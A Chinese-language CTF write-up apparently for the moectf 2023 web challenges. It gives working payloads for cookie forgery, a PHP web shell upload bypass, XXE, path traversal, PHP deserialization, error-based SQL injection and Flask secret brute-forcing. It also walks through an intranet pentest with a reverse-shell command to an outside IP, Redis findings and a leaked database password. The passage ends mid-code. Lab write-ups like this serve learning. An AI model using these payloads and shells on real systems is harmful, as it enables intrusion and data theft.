Web
入门指北
十六进制转字符串可以得到以下内容
Copy flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
再进行一次 base64 解码就可以得到 flag。
Copy moectf{w3lCome_To_moeCTF_W2b_challengE!!}
http
Payload 如下
Copy Param : UwU=u
Body : Luv=u
X-Forwarded-For : 127.0.0.1
Cookie : character=admin
User-Agent : MoeBrowser
moectf{basic_http_knowledge_Xcpf6zq45VutatFPmmelppGUvZpFN_yK}
cookie
注册 POST /register
Copy {
"username" : "koito1" ,
"password" : "123456"
}
登录 POST /login
Copy {
"username" : "koito1" ,
"password" : "123456"
}
获取flag GET /flag
,回显没管理员权限,Cookie 存在 Token,将 Token 通过 base64 解码可以得到以下内容
Copy { "username" : "koito1" , "password" : "123456" , "role" : "user" }
修改成以下内容
Copy { "username" : "koito1" , "password" : "123456" , "role" : "admin" }
并通过 base64 进行编码,并构造 Payload 如下
Copy Cookie : character=admin; token=eyJ1c2VybmFtZSI6ICJrb2l0bzEiLCAicGFzc3dvcmQiOiAiMTIzNDU2IiwgInJvbGUiOiAiYWRtaW4ifQ==
即可获取 flag moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}
。
彼岸的flag
打开源代码梭哈。
gas!gas!gas!
Copy import requests
import time
session = requests . Session ()
url = "http://localhost:60043/"
def car ():
data = {
"driver" : "1" ,
"steering_control" : "0" ,
"throttle" : "2"
}
for _ in range ( 0 , 7 ):
time . sleep ( 0.1 )
ret = session . post (url, data = data)
print (data)
#print(ret.text)
if "弯道向右" in ret . text :
data [ "steering_control" ] = "-1"
print ( "弯道向右" )
if "弯道直行" in ret . text :
data [ "steering_control" ] = "0"
print ( "弯道直行" )
if "弯道向左" in ret . text :
data [ "steering_control" ] = "1"
print ( "弯道向左" )
if "抓地力太大了!" in ret . text :
data [ "throttle" ] = "2"
print ( "抓地力太大了!" )
if "保持这个速度" in ret . text :
data [ "throttle" ] = "1"
print ( "保持这个速度" )
if "抓地力太小了!" in ret . text :
data [ "throttle" ] = "0"
print ( "抓地力太小了!" )
if "失误了!别紧张,车手,重新来过吧" in ret . text :
print ( "失误了!别紧张,车手,重新来过吧" )
return 0
if "moectf{" in ret . text :
print (ret.text)
return 1
car ()
moectf{Beautiful_Drifting!!_EUbAUerqztK_HgTz73ykI5tjKTs6ZkTb}
大海捞针
Copy import requests
import time
url = "http://localhost:62225/"
def flag ():
for i in range ( 584 , 1001 ):
time . sleep ( 0.03 )
print ( " {0} .." . format (i))
ret = requests . get (url, params = {
"id" : i
})
print (ret.text)
if "moectf{" in ret . text :
print (ret.text)
return 1
flag ()
flag 在 id 920
中,moectf{script_helps_W4ybDNdcii8fJu2uinmgRX6XNZ0PxVOF}
signin
0x02 收集信息
Copy assert "admin" in users
assert users [ "admin" ] == "admin"
得知 admin
密码为 admin
。
0x01 分析 eval
这串代码存在一个离谱的地方,就是这个 eval 函数,一步步来。
Copy eval ( int . to_bytes ( 0x 636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164 ^ 8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153 , 160 , "big" ,signed = True ). decode (). translate ({ ord (c): None for c in "\x00" })) # what is it?
int.to_bytes()
函数会将一个整数转化为其字节表示,其中一个十六进制数和一个大整数进行异或,将异或的结果转化为160字节长度的字节串,并且是 big endian 字节顺序,再通过 .decode()
将字节转换成字符串,通过 .translate({ord(c):None for c in "\x00"})
移除了所有的 \x00
的字节最后传递给 eval()
函数进行执行。
Copy print ( int . to_bytes ( 0x 636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164 ^ 8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153 , 160 , "big" ,signed = True ). decode (). translate ({ ord (c): None for c in "\x00" }))
# [[0] for base64.b64encode in [base64.b64decode]]
也就是说,base64.b64encode
其实是 base64.b64decode
,因此下方的 decrypt()
函数其实是下面这样的。
Copy def decrypt ( data : str ):
for x in range ( 5 ):
data = base64 . b64decode (data). decode ()
return data
0x03 分析 gethash
Copy def gethash ( * items ):
c = 0
for item in items :
if item is None :
continue
c ^= int . from_bytes (hashlib. md5 ( f " { salt } [ { item } ] { salt } " . encode ()). digest (), "big" ) # it looks so complex! but is it safe enough?
return hex (c) [ 2 : ]
程序会 hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
生成一个 dict 存放 username 和其根据 gethash()
函数所得到的值,但是当账号和密码相同时,gethash()
函数均返回 0
。以 {"admin": "admin"}
为例子,通过运行以上代码可以得到类似回显。
Copy item:admin
c:102686882367982976480853838608729908860
item:admin
c:0
0x04 FLAG 获得方法
Copy hashed = gethash (params. get ( "username" ), params. get ( "password" ))
for k , v in hashed_users . items ():
if hashed == v :
data = {
"user" : k ,
"hash" : hashed ,
"flag" : FLAG if k == "admin" else "flag {YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG} "
}
self . send_response ( 200 )
self . end_headers ()
self . wfile . write (json. dumps (data). encode ())
print ( "success" )
return
要获得 FLAG 需要使得 hashed == v
,也就是说需要使得 hashed
的值为 0
,因为 admin
的 hash 值为 0
,但是还需要通过某个手段来绕过这段代码的限制。
Copy if params . get ( "username" ) == params . get ( "password" ):
self . send_response ( 403 )
self . end_headers ()
self . wfile . write ( b "YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!" )
print ( "same" )
return
通过构造
Copy { "username" : 1 , "password" : "1" }
进行 5 次 base64 编码得到
Copy VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJsVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzTUZVeFl6QmtNVUpTVUZRd1BRPT0=
后构造 Payload 如下
Copy { "params" : "VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJsVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzTUZVeFl6QmtNVUpTVUZRd1BRPT0=" }
即可得到回显如下
Copy { "user" : "admin" ,
"hash" : "0" ,
"flag" : "moectf{C0nGUrAti0ns!_y0U_hAve_sUCCessFUlly_siGnin!_iYlJf!M3rux9G9Vf!Jox}"
}
moe图床
通过访问 ./upload.php
可以得到内容如下
Copy <? php
$targetDir = 'uploads/' ;
$allowedExtensions = [ 'png' ];
if ($_SERVER[ 'REQUEST_METHOD' ] === 'POST' && isset ( $_FILES[ 'file' ] ) ) {
$file = $_FILES[ 'file' ];
$tmp_path = $_FILES[ 'file' ][ 'tmp_name' ];
if ($file[ 'type' ] !== 'image/png' ) {
die ( json_encode ( [ 'success' => false , 'message' => '文件类型不符合要求' ] ) );
}
if ( filesize ( $tmp_path ) > 512 * 1024 ) {
die ( json_encode ( [ 'success' => false , 'message' => '文件太大' ] ) );
}
$fileName = $file[ 'name' ];
$fileNameParts = explode ( '.' , $fileName ) ;
if ( count ( $fileNameParts ) >= 2 ) {
$secondSegment = $fileNameParts[ 1 ];
if ($secondSegment !== 'png' ) {
die ( json_encode ( [ 'success' => false , 'message' => '文件后缀不符合要求' ] ) );
}
} else {
die ( json_encode ( [ 'success' => false , 'message' => '文件后缀不符合要求' ] ) );
}
$uploadFilePath = dirname ( __FILE__ ) . '/' . $targetDir . basename ( $file[ 'name' ] ) ;
if ( move_uploaded_file ( $tmp_path , $uploadFilePath ) ) {
die ( json_encode ( [ 'success' => true , 'file_path' => $uploadFilePath] ) );
} else {
die ( json_encode ( [ 'success' => false , 'message' => '文件上传失败' ] ) );
}
}
else {
highlight_file ( __FILE__ ) ;
}
?>
通过分析可以得知只对文件名的第二部分进行校对,因此可以通过修改文件名为 shell.png.php
进行绕过,构造 Payload 如下
Copy <?php eval($_POST[1]); ?>
通过蚁剑一把梭可以得到 flag 如下
Copy moectf{hmmm_improper_filter_UHTtyCKaTduCaSvieWWJwjduiQz-SEqV}
了解你的座驾
通过 Network 可以发现 POST 请求,发现 xml ,尝试 XXE ,构造 Payload如下
Copy xml_content=%0d%3c!DOCTYPE%20shell%5b%0d%0a%3c!ENTITY%20en%20SYSTEM%20%22%2fflag%22%3e%0d%0a%5d%3e%0a%3cxml%3e%3cname%3e1%26en%3b2%3c%2fname%3e%3c%2fxml%3e
即可得到 flag 如下
Copy moectf{Which_one_You've_Chosen?xK1hOAilRmh6oK1kQehxQefFcpFo29ME}
meo图床
通过上传图片后,可以得到以下 url
Copy http://localhost:59661/images.php?name=64dba568f03b0_1.png
使用目录穿越查看根目录的 /flag
,url 如下
Copy http://localhost:59661/images.php?name=../../../../../../flag
可以得到以下内容
Copy hello~
Flag Not Here~
Find Somewhere Else~
<!--Fl3g_n0t_Here_dont_peek!!!!!.php-->
Not Here~~~~~~~~~~~~~ awa
通过访问 Fl3g_n0t_Here_dont_peek!!!!!.php
可以得到以下内容
Copy <? php
highlight_file ( __FILE__ ) ;
if ( isset ( $_GET[ 'param1' ] ) && isset ( $_GET[ 'param2' ] ) ) {
$param1 = $_GET[ 'param1' ];
$param2 = $_GET[ 'param2' ];
if ($param1 !== $param2) {
$md5Param1 = md5 ( $param1 ) ;
$md5Param2 = md5 ( $param2 ) ;
if ($md5Param1 == $md5Param2) {
echo "O.O!! " . getenv ( "FLAG" ) ;
} else {
echo "O.o??" ;
}
} else {
echo "o.O?" ;
}
} else {
echo "O.o?" ;
}
?> O . o ?
分析得知是 md5 绕过,通过构造 Payload 如下
Copy param1=s878926199a¶m2=s155964671a
就可以到 flag 如下
Copy moectf{oops_file_get_contents_controllable_lWpZo5UIiqnxK8URcmyyVmfrVt_M9EtF}
夺命十三枪
Copy // index.php
<? php
highlight_file ( __FILE__ ) ;
require_once ( 'Hanxin.exe.php' );
$Chant = isset ( $_GET[ 'chant' ] ) ? $_GET[ 'chant' ] : '夺命十三枪' ;
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag ($Chant);
$before = serialize ( $new_visitor ) ;
$after = Deadly_Thirteen_Spears :: Make_a_Move ( $before ) ;
echo 'Your Movements: ' . $after . '<br>' ;
try {
echo unserialize ( $after ) ;
} catch ( Exception $e) {
echo "Even Caused A Glitch..." ;
}
?>
// Hanxin.exe.php
<? php
if ( basename ( $_SERVER[ 'SCRIPT_FILENAME' ] ) === basename ( __FILE__ ) ) {
highlight_file ( __FILE__ ) ;
}
class Deadly_Thirteen_Spears {
private static $Top_Secret_Long_Spear_Techniques_Manual = array (
"di_yi_qiang" => "Lovesickness" ,
"di_er_qiang" => "Heartbreak" ,
"di_san_qiang" => "Blind_Dragon" ,
"di_si_qiang" => "Romantic_charm" ,
"di_wu_qiang" => "Peerless" ,
"di_liu_qiang" => "White_Dragon" ,
"di_qi_qiang" => "Penetrating_Gaze" ,
"di_ba_qiang" => "Kunpeng" ,
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts" ,
"di_shi_qiang" => "Overlord" ,
"di_shi_yi_qiang" => "Letting_Go" ,
"di_shi_er_qiang" => "Decisive_Victory" ,
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move ($move){
foreach ( self:: $Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace ( $index , $movement , $move ) ;
}
return $move;
}
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag {
public $Chant = '' ;
public $Spear_Owner = 'Nobody' ;
function __construct ($chant){
$this -> Chant = $chant;
$this -> Spear_Owner = 'Nobody' ;
}
function __toString (){
if ( $this -> Spear_Owner !== 'MaoLei' ){
return 'Far away from COOL...' ;
}
else {
return "Omg You're So COOOOOL!!! " . getenv ( 'FLAG' ) ;
}
}
}
?>
0x00 POP 链
Copy Omg_It_Is_So_Cool_Bring_Me_My_Flag::__construct()->Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString()
Copy http://localhost:61356/?chant=di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
出去旅游的心海
打开发现 /wordpress
,用 WPSCAN 扫发现没有什么可用的东西,扫不出漏洞插件,只能知道 WordPress 的版本,通过查看网页源代码可以发现一个 API 如下
Copy wp-content/plugins/visitor-logging/logger.php
通过访问可以得到 logger.php
源码如下
Copy <? php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
Still in development! :)
*/
// 不许偷看!这些代码我还在调试呢!
highlight_file ( __FILE__ ) ;
// 加载数据库配置,暂时用硬编码绝对路径
require_once ( '/var/www/html/wordpress/' . 'wp-config.php' );
$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机
// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码
$ip = $_POST[ 'ip' ];
$user_agent = $_POST[ 'user_agent' ];
$time = stripslashes ( $_POST[ 'time' ] ) ;
$mysqli = new mysqli ($db_host , $db_user , $db_password , $db_name);
// 检查连接是否成功
if ($mysqli -> connect_errno) {
echo '数据库连接失败: ' . $mysqli -> connect_error;
exit ();
}
$query = "INSERT INTO visitor_records (ip, user_agent, time ) VALUES ('$ip', '$user_agent', $time)" ;
// 执行插入
$result = mysqli_query ( $mysqli , $query ) ;
// 检查插入是否成功
if ($result) {
echo '数据插入成功' ;
} else {
echo '数据插入失败: ' . mysqli_error ( $mysqli ) ;
}
// 关闭数据库连接
mysqli_close ( $mysqli ) ;
//gpt真好用
通过分析代码可知可以进行 SQL 报错注入,那就试试!
构造 Payload 如下
Copy ip=1&user_agent=1&time='2023-08-28 16:15:40' or updatexml(1,concat(0x7e,database()),0)
可以得到数据库名 wordpress
,构造 Payload 如下
Copy ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wordpress')),0)
可以得到表名 secret_of_kokomi, visitor_record
,构造 Payload 如下
Copy ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='secret_of_kokomi')),0)
可以得到字段名 content, id
,构造 Payload 如下
Copy ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(content) from secret_of_kokomi)),0)
可以得到 id
字段的全部内容 1,2,3
,这时候就觉得怪了,这边 3 个,上面 content
字段就两个,不对哇,那就构造 Payload 如下看看
Copy ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(content) from secret_of_kokomi where id='3')),0)
可以得到回显如下
Copy moectf{Dig_Thr0ugh_Eve2y_C0de_3
哦?这不是 flag 嘛,用 mid()
函数截取输出下,Payload 如下
Copy ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,mid((select group_concat(content) from secret_of_kokomi where id='3'),20)),0)
可以得到回显如下
Copy Eve2y_C0de_3nd_Poss1bIlIti3s!!}
拼起来就可以得到 flag 如下
Copy moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}
moeworld
下载附件可以得到加密的压缩包 hint.zip
以及 题目描述一份。
Copy 本题你将扮演**红队**的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag
题目环境:http://47.115.201.35:8000/
在本次公共环境中渗透测试中,希望你**不要做与获取flag无关的行为,不要删除或篡改flag,不要破坏题目环境,不要泄露题目环境!**
**注册时请不要使用你常用的密码,本环境密码在后台以明文形式存储**
hint.zip 密码请在拿到外网靶机后访问根目录下的**readme**,完成条件后获取
环境出现问题,请第一时间联系出题人**xlccccc**
对题目有疑问,也可随时询问出题人
0x00 信息收集
通过扫描靶机 IP 端口可以扫出以下内容
访问题目环境显示的是一个留言板,通过对 8000 端口进行目录扫描
Copy $ dirsearch -u http://47.115.201.35:8000/
[12:45:54] 200 - 1KB - /change
[12:45:57] 200 - 2KB - /console
[12:46:04] 302 - 199B - /index - > /login
[12:46:06] 200 - 1KB - /login
[12:46:07] 200 - 74B - /logout
[12:46:15] 200 - 966B - /register
可以得到该站点存在以下路径可以访问
/console - Werkzeug Debugger
通过随便注册一个账号可以发现如下内容
Copy admin
2023-08-01 19:22:07
记录一下搭建留言板的过程
首先确定好web框架,笔者选择使用简单的flask框架。
然后使用强且随机的字符串作为session的密钥。
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
最后再写一下路由和数据库处理的函数就完成啦!!
身为web手的我为了保护好服务器,写代码的时候十分谨慎,一定不会让有心人有可乘之机!
在 Header - Cookie 可以看到以下内容
Copy Cookie : session=eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMzM0NSJ9.ZO8JIQ.2Fe5uGvbCEcDs3iqMVW0vYhB4hQ
访问 /console
可以发现是一个 Werkzeug Debugger 但是需要 PIN 才能解开,给了 app.secret_key
的 Hint 那就先试试伪造 Session 吧。
0x01 Flask Session 伪造
https://github.com/noraj/flask-session-cookie-manager
通过分析 secret_key 的生成方式可以得知只需要猜出 os.urandom(2).hex()
生成的随机值就行,这个随机值的范围是 0000-ffff
(通过本地输出该函数发现是小写字母),通过结合 flask-session-cookie-manager3.py
编写一个脚本进行爆破。
通过上方的抓包获取到的 Session 用 flask-session-cookie-manager3.py
进行 decode 可以得到结构如下
Copy {
"power" : "guest" ,
"user" : "123345"
}
也可以通过 https://www.kirsle.net/wizards/flask-session.cgi 在线 Decode。
使用脚本前需要修改脚本中 session
的 user
值,确保当前用户存在(
Copy import os
import requests
import itertools
from itsdangerous import base64_decode
import ast
from flask . sessions import SecureCookieSessionInterface
class MockApp ( object ):
def __init__ ( self , secret_key ):
self . secret_key = secret_key
class FSCM ():
@ staticmethod
def encode ( secret_key , session_cookie_structure ):
try :
app = MockApp (secret_key)
session_cookie_structure = dict (ast. literal_eval (session_cookie_structure))
si = SecureCookieSessionInterface ()
s = si . get_signing_serializer (app)
return s . dumps (session_cookie_structure)
except Exception as e :
return "[Encoding error] {} " . format (e)
raise e
@ staticmethod
def decode ( session_cookie_value , secret_key = None ):
try :
if secret_key is None :
compressed = False
payload = session_cookie_value
if payload . startswith ( '.' ):
compressed = True
payload = payload [ 1 :]
data = payload . split ( "." ) [ 0 ]
data = base64_decode (data)
if compressed :
data = zlib . decompress (data)
return data
else :
app = MockApp (secret_key)
si = SecureCookieSessionInterface ()
s = si . get_signing_serializer (app)
return s . loads (session_cookie_value)
except Exception as e :
return "[Decoding error] {} " . format (e)
raise e
def test_key ( randomHex ):
print (randomHex)
session = FSCM . encode ( "This-random-secretKey-you-can't-get {0} " . format (randomHex), '{"power": "guest","user": "fdasfdsa"}' )
headers = { "Cookie" : f "session= { session } " }
data = { 'message' : 'test' }
ret = requests . post ( 'http://47.115.201.35:8000' , headers = headers, data = data)
print (ret.status_code)
print (session)
print ( '=========' )
if 'upload successfully' in ret . text :
return (randomHex , session , ret . text)
return None
hex_digits = '0123456789ABCDEF'
combinations = [ '' . join (comb). lower () for comb in itertools . product (hex_digits, repeat = 4 ) ]
for combination in combinations :
result = test_key (combination)
if result :
print (result[ 0 ])
print (result[ 1 ])
print (result[ 2 ])
break
"""
06f0
eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImZkYXNmZHNhIn0.ZO7ASA.7z7ikCoBWPTz0iyHgPENP_TTvQw
<script>alert("upload successfully");window.location.href="/index";</script>
"""
因此可以得到 os.urandom(2).hex()
生成的值为 06f0
,secret_key
的值也就是 This-random-secretKey-you-can't-get06f0
。
通过 flask-session-cookie-manager 进行 encode 就可以进行 Session 伪造成 admin 了,具体操作如下
Copy $ python flask_session_cookie_manager3.py encode -t '{\"power\": \"admin\",\"user\": \"admin\"}' -s "This-random-secretKey-you-can't-get06f0"
eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFkbWluIn0.ZO7MYg.HmVA8P4WT3h5qsDKMvAES1OwmJI
通过 BurpSuite 修改下 Cookie 中的 Session 就可以伪装成 admin 用户了,通过访问就可以得到以下内容。
可以得到 PIN 码是 904-474-531
,那下一步就是去获取 Console
0x02 获取 Console
在 /console
页面输入 PIN 码后即可使用控制台,可以通过 Console 来反弹 Shell,可以选择在自己服务器上搭建一个 nps ,可以看看 官方文档 。安装完成后在 Linux 装上客户端,通过服务端的 客户端 - 新增
后生成的唯一验证密钥(Unique verify Key)进行连接,具体方法如下
Copy $ ./npc -server= < nsp服务端 I P > :8024 -vkey= < Unique verify Ke y >
如果服务器带了防火墙的,务必记得去开放端口,为了安全推荐使用不常用端口并限制源。
连接后,先进行一个端口监听。
然后在 Console 进行反弹 Shell,具体如下
Copy print (os. system ( "bash -c 'bash -i >& /dev/tcp/20.2.216.21/2333 0>&1'" ))
就可以获得留言板所在容器的 Shell 了,通过题目描述中的内容,获取 readme
的内容,
Copy root@66ff0435ac92:/app# cat /readme
cat /readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人
之后还可以获取 flag
的内容,
Copy root@66ff0435ac92:/app# cat /flag
cat /flag
Oh! You discovered the secret of my blog.
But I divided the flag into three sections,hahaha.
This is the first part of the flag
moectf {Information-leakage-Is-dangerous!
下一步的操作就是扫内网 IP 段了。
0x03 获取压缩包密码
通过获取 hosts 内容可以得到以下内容
Copy root@66ff0435ac92:/app# cat /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
: :1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.20.0.4 66ff0435ac92
172.21.0.2 66ff0435ac92
可以得到存在另外两个 IP 172.20.0.4
和 172.21.0.2
。
通过对这两个 IP 进行扫描可以得到以下内容
Copy root@66ff0435ac92:/app# /app/tools/fscan -h 172.21.0.2/16
/app/tools/fscan -h 172.21.0.2/16
start infoscan
( icmp ) Target 172.21.0.1 is alive
( icmp ) Target 172.21.0.2 is alive
[ * ] LiveTop 172.21.0.0/16 段存活数量为: 2
[ * ] LiveTop 172.21.0.0/24 段存活数量为: 2
[ * ] Icmp alive hosts len is: 2
172.21.0.1:8000 open
172.21.0.1:888 open
172.21.0.1:8080 open
172.21.0.2:8080 open
172.21.0.1:3306 open
172.21.0.1:443 open
172.21.0.1:80 open
172.21.0.1:22 open
172.21.0.1:21 open
172.21.0.1:7777 open
172.21.0.1:10001 open
[ * ] alive ports len is: 11
start vulscan
[ * ] WebTitle: http://172.21.0.1:888 code:403 len:548 title:403 Forbidden
[ * ] WebTitle: http://172.21.0.1:8080 code:302 len:35 title:None 跳转url: http://172.21.0.1:8080/login/index
[ * ] WebTitle: http://172.21.0.1:8000 code:302 len:199 title:Redirecting... 跳转url: http://172.21.0.1:8000/login
[ * ] WebTitle: http://172.21.0.1 code:200 len:138 title:404 Not Found
[ * ] WebTitle: http://172.21.0.2:8080 code:302 len:199 title:Redirecting... 跳转url: http://172.21.0.2:8080/login
[ * ] WebTitle: http://172.21.0.1:7777 code:200 len:917 title:恭喜,站点创建成功!
[ * ] WebTitle: http://172.21.0.1:8000/login code:200 len:1145 title:LOGIN
[ * ] WebTitle: http://172.21.0.1:8080/login/index code:200 len:3617 title:None
[ * ] WebTitle: http://172.21.0.2:8080/login code:200 len:1145 title:LOGIN
root@66ff0435ac92:/app# /app/tools/fscan -h 172.20.0.4/16
/app/tools/fscan -h 172.20.0.4/16
start infoscan
( icmp ) Target 172.20.0.1 is alive
( icmp ) Target 172.20.0.2 is alive
( icmp ) Target 172.20.0.3 is alive
( icmp ) Target 172.20.0.4 is alive
[ * ] LiveTop 172.20.0.0/16 段存活数量为: 4
[ * ] LiveTop 172.20.0.0/24 段存活数量为: 4
[ * ] Icmp alive hosts len is: 4
172.20.0.1:80 open
172.20.0.2:22 open
172.20.0.1:22 open
172.20.0.1:21 open
172.20.0.1:443 open
172.20.0.4:8080 open
172.20.0.1:8080 open
172.20.0.2:6379 open
172.20.0.3:3306 open
172.20.0.1:3306 open
172.20.0.1:888 open
172.20.0.1:7777 open
172.20.0.1:10001 open
[ * ] alive ports len is: 13
start vulscan
[+] Redis:172.20.0.2:6379 unauthorized file:/data/dump.rdb
[+] Redis:172.20.0.2:6379 like can write /root/.ssh/
[ * ] WebTitle: http://172.20.0.1 code:200 len:138 title:404 Not Found
[ * ] WebTitle: http://172.20.0.1:8080 code:302 len:35 title:None 跳转url: http://172.20.0.1:8080/login/index
[ * ] WebTitle: http://172.20.0.1:888 code:403 len:548 title:403 Forbidden
[ * ] WebTitle: http://172.20.0.1:8080/login/index code:200 len:3617 title:None
[ * ] WebTitle: http://172.20.0.1:7777 code:200 len:917 title:恭喜,站点创建成功!
[ * ] WebTitle: http://172.20.0.4:8080 code:302 len:199 title:Redirecting... 跳转url: http://172.20.0.4:8080/login
[ * ] WebTitle: http://172.20.0.4:8080/login code:200 len:1145 title:LOGIN
已完成 12/13 [-] ssh 172.20.0.1:22 root root#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
按照题目描述的提示去掉 .1
结尾的 IP 可以得到压缩包的密码如下
Copy 8080
22-3306-6379-8080
通过尝试发现下面那个是 hint.zip
的密码,解压后打开(丢 Linux 里面打开)来可以得到 Hint 如下
Copy 当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3
0x04 获取 flag2
提示中已经讲明了在 /app/tools
有 nps ,那就继续用 nps 吧。这里的 nps 是客户端,我们需要在我们的服务端(在自己搭建的 nps 所在的服务器)的 客户端
中新增一个供靶机进行内网渗透用,在获取到的靶机 Shell 中进行连接
Copy root@05551bd5dd95:/app/tools# ./npc -server= < nsp服务端 I P > :8024 -vkey= < Unique verify Ke y >
< npc -server =< nsp服务端 IP > :8024 -vkey= < Unique verify Ke y >
连接成功后在 客户端
找到靶机所连接的 客户端 ID ,点击隧道,新增 TCP 隧道,服务器端口根据自行进行调节,我的设置如下
ssh
目标 (IP:端口) - 172.20.0.2:22
redis
目标 (IP:端口) - 172.20.0.2:6379
mysql
目标 (IP:端口) - 172.20.0.3:3306
设置完后,通过打印 /app
路径的文件及目录可以发现以下内容
Copy root@05551bd5dd95:/app# ls
ls
__pycache__
app.py
dataSql.py
getPIN.py
static
tools
通过 cat 可以获取 dataSql.py
的内容如下
Copy root @ 05551bd5dd95 : / app # cat dataSql.py
cat dataSql . py
import pymysql
import time
import getPIN
pin = getPIN . get_pin ()
class Database :
def __init__ ( self , max_retries = 3 ):
self . max_retries = max_retries
self . db = None
def __enter__ ( self ):
self . db = self . connect_to_database ()
return self . db , self . db . cursor ()
def __exit__ ( self , exc_type , exc_val , exc_tb ):
if self . db and self . db . open :
self . db . close ()
def connect_to_database ( self ):
retries = 0
while retries < self . max_retries :
try :
db = pymysql . connect (
host = "mysql" , # 数据库地址
port = 3306 , # 数据库端口
user = "root" , # 数据库用户名
passwd = "The_P0sswOrD_Y0u_Nev3r_Kn0w" , # 数据库密码
database = "messageboard" , # 数据库名
charset = 'utf8'
)
return db
except pymysql . Error as e :
retries += 1
print ( f "Connection attempt { retries } failed. Retrying in 5 seconds..." )
time . sleep ( 5 )
raise Exception ( "Failed to connect to the database after maximum retries." )
def canLogin ( username , password ):
with Database () as (db , cursor) :
sql = 'select password from users where username= %s '
cursor . execute (sql, username)
res = cursor . fetchall ()
if res :
if res [ 0 ] [ 0 ] == password :
return True
return False
def register ( id , username , password , power ):
with Database () as (db , cursor) :
sql = 'select username from users where username= %s '
cursor . execute (sql, username)
res = cursor . fetchall ()
if res :
return False
else :
sql = 'insert into users (id,username,password,power) values ( %s , %s , %s , %s )'
cursor . execute (sql, ( id ,username,password,power))
db . commit ()
return True
def changePassword ( username , oldPassword , newPassword ):
with Database () as (db , cursor) :
sql = 'select password from users where username= %s '
cursor . execute (sql, username)
res = cursor . fetchall ()
if res :
if oldPassword == res [ 0 ] [ 0 ] :
sql = 'update users set password= %s where username= %s '
cursor . execute (sql, (newPassword,username))
db . commit ()
return True
else :
return "wrong password"
else :
return "username doesn't exist."
def uploadMessage ( username , message , nowtime , private ):
with Database () as (db , cursor) :
sql = 'insert into message (username,data,time,private) values ( %s , %s , %s , %s )'
cursor . execute (sql, (username,message,nowtime,private))
db . commit ()
return True
def showMessage ():
with Database () as (db , cursor) :
sql = 'select * from message'
cursor . execute (sql)
res = cursor . fetchall ()
res = [ tuple ([ str (elem). replace ( '128-243-397' , pin) for elem in i]) for i in res]
return res
def usersName ():
with Database () as (db , cursor) :
sql = 'select * from users'
cursor . execute (sql)
res = cursor . fetchall ()
return len (res)
def getPower ( username ):
with Database () as (db , cursor) :
sql = 'select power from users where username= %s '
